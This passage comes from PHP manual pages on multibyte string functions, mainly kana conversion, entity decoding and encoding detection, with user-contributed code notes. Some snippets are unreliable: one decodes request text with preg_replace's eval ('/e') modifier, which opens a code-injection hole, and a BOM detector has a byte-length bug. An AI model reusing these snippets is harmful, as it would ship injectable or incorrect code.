it should have displayed a box, denoting that char #128 is undefined in iso-8859-1. The problem was it was displaying in "Windows: western europe" (my native character set).

this led to confusion when i tried to convert this euro to UTF-8 via mb_convert_encoding()

IE displays UTF-8 correctly- and because PHP correctly converted #128 into a box in UTF-8, IE would show a box.

so all i saw was mb_convert_encoding() converting a euro symbol into a box. It took me a long time to figure out what was going on.
lanka at eurocom dot od dot ua 07-Feb-2003 05:03
Another sample of recoding without MultiByte enabling.
(Russian koi->win, if input in win-encoding already, function recode() returns unchanged string)

<?php
  // 0 - win
  // 1 - koi
  function detect_encoding($str) {
    $win = 0;
    $koi = 0;

    for($i=0; $i<strlen($str); $i++) {
      if( ord($str[$i]) >224 && ord($str[$i]) < 255) $win++;
      if( ord($str[$i]) >192 && ord($str[$i]) < 223) $koi++;
    }

    if( $win < $koi ) {
      return 1;
    } else return 0;

  }

  // recodes koi to win
  function koi_to_win($string) {

    $kw = array(128, 129, 130, 131, 132, 133, 134, 135, 136, 137, 138, 139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 150, 151, 152, 153, 154, 155, 156, 157, 158, 159, 160, 161, 162, 163, 164, 165, 166, 167, 168, 169, 170, 171, 172, 173, 174, 175, 176, 177, 178, 179, 180, 181, 182, 183,  184, 185, 186, 187, 188, 189, 190, 191, 254, 224, 225, 246, 228, 229, 244, 227, 245, 232, 233, 234, 235, 236, 237, 238, 239, 255, 240, 241, 242, 243, 230, 226, 252, 251, 231, 248, 253, 249, 247, 250, 222, 192, 193, 214, 196, 197, 212, 195, 213, 200, 201, 202, 203, 204, 205, 206, 207, 223, 208, 209, 210, 211, 198, 194, 220, 219, 199, 216, 221, 217, 215, 218);
    $wk = array(128, 129, 130, 131, 132, 133, 134, 135, 136, 137, 138, 139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 150, 151, 152, 153, 154, 155, 156, 157, 158, 159, 160, 161, 162, 163, 164, 165, 166, 167, 168, 169, 170, 171, 172, 173, 174, 175, 176, 177, 178, 179, 180, 181, 182, 183,  184, 185, 186, 187, 188, 189, 190, 191, 225, 226, 247, 231, 228, 229, 246, 250, 233, 234, 235, 236, 237, 238, 239, 240, 242,  243, 244, 245, 230, 232, 227, 254, 251, 253, 255, 249, 248, 252, 224, 241, 193, 194, 215, 199, 196, 197, 214, 218, 201, 202, 203, 204, 205, 206, 207, 208, 210, 211, 212, 213, 198, 200, 195, 222, 219, 221, 223, 217, 216, 220, 192, 209);

    $end = strlen($string);
    $pos = 0;
    do {
      $c = ord($string[$pos]);
      if ($c>128) {
        $string[$pos] = chr($kw[$c-128]);
      }

    } while (++$pos < $end);

    return $string;
  }

  function recode($str) {

    $enc = detect_encoding($str);
    if ($enc==1) {
      $str = koi_to_win($str);
    }

    return $str;
  }
?>


Convert "kana" one from another ("zen-kaku", "han-kaku" and more)

  • « mb_convert_encoding
  • mb_convert_variables »
  • PHP Manual
  • Multibyte String Functions
  • Convert "kana" one from another ("zen-kaku", "han-kaku" and more)

mb_convert_kana

(PHP 4 >= 4.0.6, PHP 5)

mb_convert_kana — Convert "kana" one from another ("zen-kaku", "han-kaku" and more)

Description

string mb_convert_kana ( string $str [, string $option = "KV" [, string $encoding = mb_internal_encoding() ]] )

Performs a "han-kaku" - "zen-kaku" conversion for string str. This function is only useful for Japanese.

Parameters

str

The string being converted.

option

The conversion option.

Specify with a combination of following options.

Applicable Conversion Options
Option | Meaning
r | Convert "zen-kaku" alphabets to "han-kaku"
R | Convert "han-kaku" alphabets to "zen-kaku"
n | Convert "zen-kaku" numbers to "han-kaku"
N | Convert "han-kaku" numbers to "zen-kaku"
a | Convert "zen-kaku" alphabets and numbers to "han-kaku"
A | Convert "han-kaku" alphabets and numbers to "zen-kaku" (Characters included in "a", "A" options are U+0021 - U+007E excluding U+0022, U+0027, U+005C, U+007E)
s | Convert "zen-kaku" space to "han-kaku" (U+3000 -> U+0020)
S | Convert "han-kaku" space to "zen-kaku" (U+0020 -> U+3000)
k | Convert "zen-kaku kata-kana" to "han-kaku kata-kana"
K | Convert "han-kaku kata-kana" to "zen-kaku kata-kana"
h | Convert "zen-kaku hira-gana" to "han-kaku kata-kana"
H | Convert "han-kaku kata-kana" to "zen-kaku hira-gana"
c | Convert "zen-kaku kata-kana" to "zen-kaku hira-gana"
C | Convert "zen-kaku hira-gana" to "zen-kaku kata-kana"
V | Collapse voiced sound notation and convert them into a character. Use with "K","H"

encoding

The encoding parameter is the character encoding. If it is omitted, the internal character encoding value will be used.

Return Values

The converted string.

Examples

Example #1 mb_convert_kana() example

<?php
/* Convert all "kana" to "zen-kaku" "kata-kana" */
$str = mb_convert_kana($str, "KVC");

/* Convert "han-kaku" "kata-kana" to "zen-kaku" "kata-kana"
   and "zen-kaku" alpha-numeric to "han-kaku" */
$str = mb_convert_kana($str, "KVa");
?>

User Contributed Notes

jdavide222 at hotmail dot com 11-Mar-2013 01:02
to make this function work you have to add following two lines above this function.

mb_language("Ja");
mb_internal_encoding("utf-8");

mb_convert_kana($_POST['something_value'], "rna");
sohel62 at yahoo dot com 19-Feb-2008 06:17
I did that manually when I was not getting  expected result using mb_convert_kana().
<?php
 /*
 * @author Taslim Mazumder Sohel
 * @deprecated 1.0 - 2008/02/19
 *
 */
function han_kaku_to_jen_kaku($str){
        $replace_of = array('ｳﾞ','ｶﾞ','ｷﾞ','ｸﾞ',
                            'ｹﾞ','ｺﾞ','ｻﾞ','ｼﾞ',
                            'ｽﾞ','ｾﾞ','ｿﾞ','ﾀﾞ',
                            'ﾁﾞ','ﾂﾞ','ﾃﾞ','ﾄﾞ',
                            'ﾊﾞ','ﾋﾞ','ﾌﾞ','ﾍﾞ',
                            'ﾎﾞ','ﾊﾟ','ﾋﾟ','ﾌﾟ','ﾍﾟ','ﾎﾟ');
        $replace_by = array('ヴ','ガ','ギ','グ',
                            'ゲ','ゴ','ザ','ジ',
                            'ズ','ゼ','ゾ','ダ',
                            'ヂ','ヅ','デ','ド',
                            'バ','ビ','ブ','ベ',
                            'ボ','パ','ピ','プ','ペ','ポ');
        $_result = str_replace($replace_of, $replace_by, $str);

        $replace_of = array('ｱ','ｲ','ｳ','ｴ','ｵ',
                            'ｶ','ｷ','ｸ','ｹ','ｺ',
                            'ｻ','ｼ','ｽ','ｾ','ｿ',
                            'ﾀ','ﾁ','ﾂ','ﾃ','ﾄ',
                            'ﾅ','ﾆ','ﾇ','ﾈ','ﾉ',
                            'ﾊ','ﾋ','ﾌ','ﾍ','ﾎ',
                            'ﾏ','ﾐ','ﾑ','ﾒ','ﾓ',
                            'ﾔ','ﾕ','ﾖ','ﾗ','ﾘ',
                            'ﾙ','ﾚ','ﾛ','ﾜ','ｦ',
                            'ﾝ','ｧ','ｨ','ｩ','ｪ',
                            'ｫ','ヵ','ヶ','ｬ','ｭ',
                            'ｮ','ｯ','､','｡','ｰ',
                            '｢','｣','ﾞ','ﾟ');
        $replace_by = array('ア','イ','ウ','エ','オ',
                            'カ','キ','ク','ケ','コ',
                            'サ','シ','ス','セ','ソ',
                            'タ','チ','ツ','テ','ト',
                            'ナ','ニ','ヌ','ネ','ノ',
                            'ハ','ヒ','フ','ヘ','ホ',
                            'マ','ミ','ム','メ','モ',
                            'ヤ','ユ','ヨ','ラ','リ',
                            'ル','レ','ロ','ワ','ヲ',
                            'ン','ァ','ィ','ゥ','ェ',
                            'ォ','ヶ','ヶ','ャ','ュ',
                            'ョ','ッ','、','。','ー',
                            '「','」','”','');
        $_result = str_replace($replace_of, $replace_by, $_result);
        return $_result;
    }
?>
d at safetypub dot org 01-Apr-2005 12:00
I didn't find Japanese sorting function.
(mb_sort_kana or something)
Only SJIS encoding treats hankaku kata kana,
 I can't post here copy & paste version script.
I'm sorry...
You will replace comments with appropriate japanese string,
and write exception handlings between lines as you like.

<?php
mb_internal_encoding("SJIS");

$moji = /*"aiueo...wawon -?.," <- serialized hankaku kata kana 50 on hyou goes here*/;
$moji .= "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxwz0123456789";

for($i = 0; isset($moji[$i]); $i++){
    $pittan[$moji[$i]] = $i;
}

function cmp($a, $b)
{
   if ($a == $b) {
       return 0;
   }
   return iter(mb_convert_kana($a, "askh") ,mb_convert_kana($b, "askh"), 0);
}

function iter($a, $b, $i){
    global $pittan;
    if(!isset($a[$i]) || !isset($b[$i])){
        return (isset($b[$i]))? -1 : 1;
    }
    if ($pittan[$a[$i]] == $pittan[$b[$i]]){
        return iter($a, $b, ++$i);
    }
    return (($pittan[$a[$i]]) < ($pittan[$b[$i]]))? -1 : 1;
}

echo "<pre>";
$arr = array(/*some japanese array here*/);
usort($arr, "cmp");
var_dump($arr);
?>
dn at littlealf dot net 24-Jul-2003 06:33
It seems that mb_convert_kana() doesn't convert symbols such as ' (single quoatation). It affected my program when I insert data into database.

So, I've found 2 ways to solve this.
1) Use Javascript to convert those non-supported symbols before sending query string to your php page.
2) Use php function, str_replace $str, to replace those non-supported symbols. For example, $str = str_replace("'", "�", $str);
where the first single quot is half-width(han kaku), and the second one is full-width(zen kaku).


Convert character code in variable(s)

  • « mb_convert_kana
  • mb_decode_mimeheader »
  • PHP Manual
  • Multibyte String Functions
  • Convert character code in variable(s)

mb_convert_variables

(PHP 4 >= 4.0.6, PHP 5)

mb_convert_variables — Convert character code in variable(s)

Description

string mb_convert_variables ( string $to_encoding , mixed $from_encoding , mixed &$vars [, mixed &$... ] )

Converts character encoding of variables vars in encoding from_encoding to encoding to_encoding.

mb_convert_variables() join strings in Array or Object to detect encoding, since encoding detection tends to fail for short strings. Therefore, it is impossible to mix encoding in single array or object.

Parameters

to_encoding

The encoding that the string is being converted to.

from_encoding

from_encoding is specified as an array or comma separated string, it tries to detect encoding from from-coding. When from_encoding is omitted, detect_order is used.

vars

vars is the reference to the variable being converted. String, Array and Object are accepted. mb_convert_variables() assumes all parameters have the same encoding.

...

Additional vars.

Return Values

The character encoding before conversion for success, or FALSE for failure.

Examples

Example #1 mb_convert_variables() example

<?php
/* Convert variables $post1, $post2 to internal encoding */
$interenc = mb_internal_encoding();
$inputenc = mb_convert_variables($interenc, "ASCII,UTF-8,SJIS-win", $post1, $post2);
?>

User Contributed Notes

ryosuke_i_628 at yahoo dot co dot jp 27-Mar-2014 05:16
This function has a bug on recursion detection.
https://bugs.php.net/bug.php?id=66964


Decode string in MIME header field

  • « mb_convert_variables
  • mb_decode_numericentity »
  • PHP Manual
  • Multibyte String Functions
  • Decode string in MIME header field

mb_decode_mimeheader

(PHP 4 >= 4.0.6, PHP 5)

mb_decode_mimeheader — Decode string in MIME header field

Description

string mb_decode_mimeheader ( string $str )

Decodes encoded-word string str in MIME header.

Parameters

str

The string being decoded.

Return Values

The decoded string in internal character encoding.

See Also

  • mb_encode_mimeheader() - Encode string for MIME header

User Contributed Notes

Brett 27-Feb-2012 12:35
See also the following functions which may work better in some cases:
iconv_mime_decode() - http://php.net/manual/function.iconv-mime-decode.php
imap_utf8() - http://php.net/manual/function.imap-utf8.php
tomlove at gmail dot com 09-Mar-2010 07:03
This function ignores any encoded-word specified in a character set not supported by the mbstring extension (e.g. Arabic windows-1256). Such encoded-words pass straight through.

RFC2047 doesn't specify the behaviour, but common agents such as Gmail, Windows Mail, etc. DO NOT ignore such encoded words. They are decoded as if they were declared to be in the local character set.

Be aware of this idiosyncrasy.
Frogger2000 at gmx dot de 29-May-2002 10:16
Using quoted-printable-encoding the hex-numbers must be written in uppercase letters!

Works: =?iso-8859-1?q?=3F=3F=3F?=
Fails: =?iso-8859-1?q?=3f=3f=3f?=


Decode HTML numeric string reference to character

  • « mb_decode_mimeheader
  • mb_detect_encoding »
  • PHP Manual
  • Multibyte String Functions
  • Decode HTML numeric string reference to character

mb_decode_numericentity

(PHP 4 >= 4.0.6, PHP 5)

mb_decode_numericentity — Decode HTML numeric string reference to character

Description

string mb_decode_numericentity ( string $str , array $convmap [, string $encoding = mb_internal_encoding() ] )

Convert numeric string reference of string str in a specified block to character.

Parameters

str

The string being decoded.

convmap

convmap is an array that specifies the code area to convert.

encoding

The encoding parameter is the character encoding. If it is omitted, the internal character encoding value will be used.

Return Values

The converted string.

Examples

Example #1 convmap example

<?php
$convmap = array (
   int start_code1, int end_code1, int offset1, int mask1,
   int start_code2, int end_code2, int offset2, int mask2,
   ........
   int start_codeN, int end_codeN, int offsetN, int maskN );
// Specify Unicode value for start_codeN and end_codeN
// Add offsetN to value and take bit-wise 'AND' with maskN,
// then convert value to numeric string reference.
?>

See Also

  • mb_encode_numericentity() - Encode character to HTML numeric string reference

User Contributed Notes

Navi 01-Apr-2009 10:00
Manual entity => utf8 conversion:
<?php
        // parse entities
        $raw = preg_replace_callback
        (
            "/&#(\\d+);/u",
            "_pcreEntityToUtf",
            $raw
        );

    function _pcreEntityToUtf($matches)
    {
        $char = intval(is_array($matches) ? $matches[1] : $matches);

        if ($char < 0x80)
        {
            // to prevent insertion of control characters
            if ($char >= 0x20) return htmlspecialchars(chr($char));
            else return "&#$char;";
        }
        else if ($char < 0x8000)
        {
            return chr(0xc0 | (0x1f & ($char >> 6))) . chr(0x80 | (0x3f & $char));
        }
        else
        {
            return chr(0xe0 | (0x0f & ($char >> 12))) . chr(0x80 | (0x3f & ($char >> 6))). chr(0x80 | (0x3f & $char));
        }
    }
?>
donovan at conduit it 19-Apr-2006 06:05
note that at this time it seems that mb_decode_numericentity() only works with decimal entities and not hexadecimal entities.  This fact would have saved me a good hour of time in debugging.

For those who need to convert hex entities try first converting them all to decimal entities with a combination of the preg_replace() and hexdec() functions.
dirk at camindo de 30-Jan-2005 06:51
By use of function utf8_decode you'll get a problem with all extended chars above ISO-8859-1 charset. You can solve this problem by using the

function mb_encode_numericentity before:

  // convert $text from UTF-8 to ISO-8859-1
  $convmap = array(0xFF, 0x2FFFF, 0, 0xFFFF);
  $text = mb_encode_numericentity($text, $convmap, "UTF-8");
  $text = utf8_decode($text);

The second line encodes all extended chars below 0xFF, the third line converts the rest: 0x80 - 0xFF
Andrew Simpson 11-Dec-2004 02:29
Many web browsers will tend upload high order characters as UTF-8 encoded entities.

Here is some simple code to convert UTF-8 HTML entities within a block of text into proper characters:

<?php
   //decode decimal HTML entities added by web browser
  $body = preg_replace('/&#\d{2,5};/ue', "utf8_entity_decode('$0')", $body );
  //decode hex HTML entities added by web browser
  $body = preg_replace('/&#x([a-fA-F0-7]{2,8});/ue', "utf8_entity_decode('&#'.hexdec('$1').';')", $body );

//callback function for the regex
function utf8_entity_decode($entity){
 $convmap = array(0x0, 0x10000, 0, 0xfffff);
 return mb_decode_numericentity($entity, $convmap, 'UTF-8');
}
?>
php at cNhOiSpPpAlMe dot org 31-Mar-2004 09:55
Here are functions to convert hankaku to zenkaku characters (and vice-versa) in Japanese text.

<?php

// Supported characters:
//    (space)
//     !#$%&()*+,./0123456789:;<=>?@
//    ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`
//    abcdefghijklmnopqrstuvwxyz{|}
// (Katakana isn't supported.)

function f_han2zen ($string,$encoding = null) {
  if (is_null($encoding)) $encoding = mb_internal_encoding();
  $convmap = array(
     0x20,0x20,0x3000-0x20,0xffff,   // Space
     0x21,0x7e,0xff01-0x21,0xffff);
  $temp = mb_encode_numericentity($string,$convmap,$encoding);
  $convmap = array(0,0xffff,0,0xffff);
  return mb_decode_numericentity($temp,$convmap,$encoding);
}
function f_zen2han ($string,$encoding = null) {
  if (is_null($encoding)) $encoding = mb_internal_encoding();
  $convmap = array(
     0x3000,0x3000,-(0x3000-0x20),0xffff,   // Space
     0xff01,0xff5e,-(0xff01-0x21),0xffff);
  $temp = mb_encode_numericentity($string,$convmap,$encoding);
  $convmap = array(0,0xffff,0,0xffff);
  return mb_decode_numericentity($temp,$convmap,$encoding);
}

// Sample usage:
f_han2zen("test","shift_jis");
f_han2zen("test","utf-8");

?>
dev at glossword info 19-Nov-2003 04:43
Just two great functions for daily use:

/* Converts any HTML-entities into characters */
function my_numeric2character($t)
{
    $convmap = array(0x0, 0x2FFFF, 0, 0xFFFF);
    return mb_decode_numericentity($t, $convmap, 'UTF-8');
}
/* Converts any characters into HTML-entities */
function my_character2numeric($t)
{
    $convmap = array(0x0, 0x2FFFF, 0, 0xFFFF);
    return mb_encode_numericentity($t, $convmap, 'UTF-8');
}
print my_numeric2character('&#8217; &#7936; &#226;');
print my_character2numeric(' � � ');


Detect character encoding

  • « mb_decode_numericentity
  • mb_detect_order »
  • PHP Manual
  • Multibyte String Functions
  • Detect character encoding

mb_detect_encoding

(PHP 4 >= 4.0.6, PHP 5)

mb_detect_encoding — Detect character encoding

Description

string mb_detect_encoding ( string $str [, mixed $encoding_list = mb_detect_order() [, bool $strict = false ]] )

Detects character encoding in string str.

Parameters

str

The string being detected.

encoding_list

encoding_list is list of character encoding. Encoding order may be specified by array or comma separated list string.

If encoding_list is omitted, detect_order is used.

strict

strict specifies whether to use the strict encoding detection or not. Default is FALSE.

Return Values

The detected character encoding or FALSE if the encoding cannot be detected from the given string.

Examples

Example #1 mb_detect_encoding() example

<?php
/* Detect character encoding with current detect_order */
echo mb_detect_encoding($str);

/* "auto" is expanded according to mbstring.language */
echo mb_detect_encoding($str, "auto");

/* Specify encoding_list character encoding by comma separated list */
echo mb_detect_encoding($str, "JIS, eucjp-win, sjis-win");

/* Use array to specify encoding_list  */
$ary[] = "ASCII";
$ary[] = "JIS";
$ary[] = "EUC-JP";
echo mb_detect_encoding($str, $ary);
?>

See Also

  • mb_detect_order() - Set/Get character encoding detection order

User Contributed Notes

thinkxf at gmail dot com 08-Oct-2014 02:32
if you want to use this function ,you must loadmodule php_mbstring in the php.ini.
emoebel at web dot de 25-Dec-2013 06:29
if the  function " mb_detect_encoding" does not exist  ...

... try:

<?php
// ----------------------------------------------------
if ( !function_exists('mb_detect_encoding') ) {

// ----------------------------------------------------------------
function mb_detect_encoding ($string, $enc=null, $ret=null) {

        static $enclist = array(
            'UTF-8', 'ASCII',
            'ISO-8859-1', 'ISO-8859-2', 'ISO-8859-3', 'ISO-8859-4', 'ISO-8859-5',
            'ISO-8859-6', 'ISO-8859-7', 'ISO-8859-8', 'ISO-8859-9', 'ISO-8859-10',
            'ISO-8859-13', 'ISO-8859-14', 'ISO-8859-15', 'ISO-8859-16',
            'Windows-1251', 'Windows-1252', 'Windows-1254',
            );

        $result = false;

        foreach ($enclist as $item) {
            $sample = iconv($item, $item, $string);
            if (md5($sample) == md5($string)) {
                if ($ret === NULL) { $result = $item; } else { $result = true; }
                break;
            }
        }

    return $result;
}
// ----------------------------------------------------------------

}
// ----------------------------------------------------
?>

example / usage of: mb_detect_encoding()

<?php
// ------------------------------------------------------
function str_to_utf8 ($str) {

    if (mb_detect_encoding($str, 'UTF-8', true) === false) {
    $str = utf8_encode($str);
    }

    return $str;
}
// ------------------------------------------------------
?>

$txtstr = str_to_utf8($txtstr);
Anonymous 09-Oct-2013 06:17
// -----------------------------------------------------------

if(!function_exists('mb_detect_encoding')) {

function mb_detect_encoding($string, $enc=null, $ret=true) {
    $out=$enc;
    static $list = array('utf-8', 'iso-8859-1', 'iso-8859-15', 'windows-1251');
        foreach ($list as $item) {
            $sample = iconv($item, $item, $string);
            if (md5($sample) == md5($string)) { $out = ($ret !== false) ? true : $item; }
        }
    return $out;
}

}

// -----------------------------------------------------------
eyecatchup at gmail dot com 11-Jun-2013 07:41
Just a note: Instead of using the often recommended (rather complex) regular expression by W3C (http://www.w3.org/International/questions/qa-forms-utf-8.en.php), you can simply use the 'u' modifier to test a string for UTF-8 validity:

<?php
  if (preg_match("//u", $string)) {
      // $string is valid UTF-8
  }
bmrkbyet at web dot de 24-Mar-2013 11:04
a) if the FUNCTION mb_detect_encoding is not available:

### mb_detect_encoding ... iconv ###

<?php
// -------------------------------------------

if(!function_exists('mb_detect_encoding')) {
function mb_detect_encoding($string, $enc=null) {

    static $list = array('utf-8', 'iso-8859-1', 'windows-1251');

    foreach ($list as $item) {
        $sample = iconv($item, $item, $string);
        if (md5($sample) == md5($string)) {
            if ($enc == $item) { return true; }    else { return $item; }
        }
    }
    return null;
}
}

// -------------------------------------------
?>

b) if the FUNCTION mb_convert_encoding is not available:

### mb_convert_encoding ... iconv ###

<?php
// -------------------------------------------

if(!function_exists('mb_convert_encoding')) {
function mb_convert_encoding($string, $target_encoding, $source_encoding) {
    $string = iconv($source_encoding, $target_encoding, $string);
    return $string;
}
}

// -------------------------------------------
?>
Gerg Tisza 18-Feb-2011 12:43
If you try to use mb_detect_encoding to detect whether a string is valid UTF-8, use the strict mode, it is pretty worthless otherwise.

<?php
    $str = 'áéóú'; // ISO-8859-1
    mb_detect_encoding($str, 'UTF-8'); // 'UTF-8'
    mb_detect_encoding($str, 'UTF-8', true); // false
?>
nat3738 at gmail dot com 22-May-2009 12:58
A simple way to detect UTF-8/16/32 of file by its BOM (not work with string or file without BOM)

<?php
// Unicode BOM is U+FEFF, but after encoded, it will look like this.
define ('UTF32_BIG_ENDIAN_BOM'   , chr(0x00) . chr(0x00) . chr(0xFE) . chr(0xFF));
define ('UTF32_LITTLE_ENDIAN_BOM', chr(0xFF) . chr(0xFE) . chr(0x00) . chr(0x00));
define ('UTF16_BIG_ENDIAN_BOM'   , chr(0xFE) . chr(0xFF));
define ('UTF16_LITTLE_ENDIAN_BOM', chr(0xFF) . chr(0xFE));
define ('UTF8_BOM'               , chr(0xEF) . chr(0xBB) . chr(0xBF));

function detect_utf_encoding($filename) {

    $text = file_get_contents($filename);
    $first2 = substr($text, 0, 2);
    $first3 = substr($text, 0, 3);
    $first4 = substr($text, 0, 3);

    if ($first3 == UTF8_BOM) return 'UTF-8';
    elseif ($first4 == UTF32_BIG_ENDIAN_BOM) return 'UTF-32BE';
    elseif ($first4 == UTF32_LITTLE_ENDIAN_BOM) return 'UTF-32LE';
    elseif ($first2 == UTF16_BIG_ENDIAN_BOM) return 'UTF-16BE';
    elseif ($first2 == UTF16_LITTLE_ENDIAN_BOM) return 'UTF-16LE';
}
?>
prgss at bk dot ru 30-Mar-2009 11:16
Another light way to detect character encoding:
<?php
function detect_encoding($string) {
  static $list = array('utf-8', 'windows-1251');

  foreach ($list as $item) {
    $sample = iconv($item, $item, $string);
    if (md5($sample) == md5($string))
      return $item;
  }
  return null;
}
?>
matthijs at ischen dot nl 28-Mar-2009 07:33
I seriously underestimated the importance of setlocale...
<?php
$strings = array(
    "mais coisas a pensar sobre diário ou dois!",
    "plus de choses à penser à journalier ou à deux !",
    "¡más cosas a pensar en diario o dos!",
    "più cose da pensare circa giornaliere o due!",
    "flere ting å tenke på hver dag eller to!",
    "Další věcí, přemýšlet o každý den nebo dva!",
    "mehr über Spaß spät schönen",
    "më vonë gjatë fun bukur",
    "több mint szórakozás késő csodálatos kenyér"
);

$convert = array();
setlocale(LC_CTYPE, 'de_DE.UTF-8');
foreach( $strings as $string )
        $convert[] = iconv('UTF-8', 'ASCII//TRANSLIT//IGNORE', $string);
?>

Produces the following:

Array
(
    [0] => mais coisas a pensar sobre diario ou dois!
    [1] => plus de choses a penser a journalier ou a deux !
    [2] => ?mas cosas a pensar en diario o dos!
    [3] => piu cose da pensare circa giornaliere o due!
    [4] => flere ting aa tenke paa hver dag eller to!
    [5] => Dalsi veci, premyslet o kazdy den nebo dva!
    [6] => mehr ueber Spass spaet schoenen
    [7] => me vone gjate fun bukur
    [8] => toebb mint szorakozas keso csodalatos kenyer
)

whereas

<?php
$convert = array();
setlocale(LC_CTYPE, 'nl_NL.UTF-8');
foreach( $strings as $string )
        $convert[] = iconv('UTF-8', 'ASCII//TRANSLIT//IGNORE', $string);
?>

produces:
Array
(
    [0] => mais coisas a pensar sobre di?rio ou dois!
    [1] => plus de choses ? penser ? journalier ou ? deux !
    [2] => ?m?s cosas a pensar en diario o dos!
    [3] => pi? cose da pensare circa giornaliere o due!
    [4] => flere ting ? tenke p? hver dag eller to!
    [5] => Dal?? v?c?, p?em??let o ka?d? den nebo dva!
    [6] => mehr ?ber Spass sp?t sch?nen
    [7] => m? von? gjat? fun bukur
    [8] => t?bb mint sz?rakoz?s k?s? csod?latos keny?r
)

This might be of interest when trying to convert utf-8 strings into ASCII suitable for URL's, and such. this was never obvious for me since I've used locales for us and nl.
dennis at nikolaenko dot ru 06-Oct-2008 06:18
Beware of bug to detect Russian encodings
http://bugs.php.net/bug.php?id=38138
hmdker at gmail dot com 24-Aug-2008 06:58
Function to detect UTF-8, when mb_detect_encoding is not available it may be useful.

<?php
function is_utf8($str) {
    $c=0; $b=0;
    $bits=0;
    $len=strlen($str);
    for($i=0; $i<$len; $i++){
        $c=ord($str[$i]);
        if($c > 128){
            if(($c >= 254)) return false;
            elseif($c >= 252) $bits=6;
            elseif($c >= 248) $bits=5;
            elseif($c >= 240) $bits=4;
            elseif($c >= 224) $bits=3;
            elseif($c >= 192) $bits=2;
            else return false;
            if(($i+$bits) > $len) return false;
            while($bits > 1){
                $i++;
                $b=ord($str[$i]);
                if($b < 128 || $b > 191) return false;
                $bits--;
            }
        }
    }
    return true;
}
?>
yaqy at qq dot com 21-Jul-2008 07:14
<?php
/*
*QQ: 290359552
* conver to Utf8 if $str is not equals to 'UTF-8'
*/
function convToUtf8($str)
{
if( mb_detect_encoding($str,"UTF-8, ISO-8859-1, GBK")!="UTF-8" )
{

return  iconv("gbk","utf-8",$str);

}
else
{
return $str;
}

}
?>
rl at itfigures dot nl 04-Sep-2007 11:00
I used Chris's function "detectUTF8" to detect the need from conversion from utf8 to 8859-1, which works fine. I did have a problem with the following iconv-conversion.

The problem is that the iconv-conversion to 8859-1 (with //TRANSLIT) replaces the euro-sign with EUR, although it is common practice  that \x80 is used as the euro-sign in the 8859-1 charset.

I could not use 8859-15 since that mangled some other characters, so I added 2 str_replace's:

if(detectUTF8($str)){
  $str=str_replace("\xE2\x82\xAC","&euro;",$str);
  $str=iconv("UTF-8","ISO-8859-1//TRANSLIT",$str);
  $str=str_replace("&euro;","\x80",$str);
}

If html-output is needed the last line is not necessary (and even unwanted).
sunggsun 15-Aug-2006 09:26
from PHPDIG

    function isUTF8($str) {
        if ($str === mb_convert_encoding(mb_convert_encoding($str, "UTF-32", "UTF-8"), "UTF-8", "UTF-32")) {
            return true;
        } else {
            return false;
        }
    }
chris AT w3style.co DOT uk 03-Aug-2006 11:22
Based upon that snippet below using preg_match() I needed something faster and less specific.  That function works and is brilliant but it scans the entire strings and checks that it conforms to UTF-8.  I wanted something purely to check if a string contains UTF-8 characters so that I could switch character encoding from iso-8859-1 to utf-8.

I modified the pattern to only look for non-ascii multibyte sequences in the UTF-8 range and also to stop once it finds at least one multibytes string.  This is quite a lot faster.

<?php

function detectUTF8($string)
{
        return preg_match('%(?:
        [\xC2-\xDF][\x80-\xBF]        # non-overlong 2-byte
        |\xE0[\xA0-\xBF][\x80-\xBF]               # excluding overlongs
        |[\xE1-\xEC\xEE\xEF][\x80-\xBF]{2}      # straight 3-byte
        |\xED[\x80-\x9F][\x80-\xBF]               # excluding surrogates
        |\xF0[\x90-\xBF][\x80-\xBF]{2}    # planes 1-3
        |[\xF1-\xF3][\x80-\xBF]{3}                  # planes 4-15
        |\xF4[\x80-\x8F][\x80-\xBF]{2}    # plane 16
        )+%xs', $string);
}

?>
telemach 28-Jul-2005 03:48
beware : even if you need to distinguish between UTF-8 and ISO-8859-1, and you the following detection order (as chrigu suggests)

mb_detect_encoding('accentu�e' , 'UTF-8, ISO-8859-1')

returns ISO-8859-1, while

mb_detect_encoding('accentu�' , 'UTF-8, ISO-8859-1')

returns UTF-8

bottom line : an ending '�' (and probably other accentuated chars) mislead mb_detect_encoding
Chrigu 29-Mar-2005 04:32
If you need to distinguish between UTF-8 and ISO-8859-1 encoding, list UTF-8 first in your encoding_list:
mb_detect_encoding($string, 'UTF-8, ISO-8859-1');

if you list ISO-8859-1 first, mb_detect_encoding() will always return ISO-8859-1.
php-note-2005 at ryandesign dot com 17-Feb-2005 04:57
Much simpler UTF-8-ness checker using a regular expression created by the W3C:

<?php

// Returns true if $string is valid UTF-8 and false otherwise.
function is_utf8($string) {

    // From http://w3.org/International/questions/qa-forms-utf-8.html
    return preg_match('%^(?:
          [\x09\x0A\x0D\x20-\x7E]            # ASCII
        | [\xC2-\xDF][\x80-\xBF]             # non-overlong 2-byte
        |  \xE0[\xA0-\xBF][\x80-\xBF]        # excluding overlongs
        | [\xE1-\xEC\xEE\xEF][\x80-\xBF]{2}  # straight 3-byte
        |  \xED[\x80-\x9F][\x80-\xBF]        # excluding surrogates
        |  \xF0[\x90-\xBF][\x80-\xBF]{2}     # planes 1-3
        | [\xF1-\xF3][\x80-\xBF]{3}          # planes 4-15
        |  \xF4[\x80-\x8F][\x80-\xBF]{2}     # plane 16
    )*$%xs', $string);

} // function is_utf8

?>
jaaks at playtech dot com 14-Jan-2005 09:27
Last example for verifying UTF-8 has one little bug. If 10xxxxxx byte occurs alone i.e. not in multibyte char, then it is accepted although it is against UTF-8 rules. Make following replacement to repair it.

Replace
         } // goto next char
with
         } else {
           return false; // 10xxxxxx occuring alone
         } // goto next char
maarten 13-Jan-2005 12:55
Sometimes mb_detect_string is not what you need. When using pdflib for example you want to VERIFY the correctness of utf-8. mb_detect_encoding reports some iso-8859-1 encoded text as utf-8.
To verify utf 8 use the following:

//
//    utf8 encoding validation developed based on Wikipedia entry at:
//    http://en.wikipedia.org/wiki/UTF-8
//
//    Implemented as a recursive descent parser based on a simple state machine
//    copyright 2005 Maarten Meijer
//
//    This cries out for a C-implementation to be included in PHP core
//
    function valid_1byte($char) {
        if(!is_int($char)) return false;
        return ($char & 0x80) == 0x00;
    }

    function valid_2byte($char) {
        if(!is_int($char)) return false;
        return ($char & 0xE0) == 0xC0;
    }

    function valid_3byte($char) {
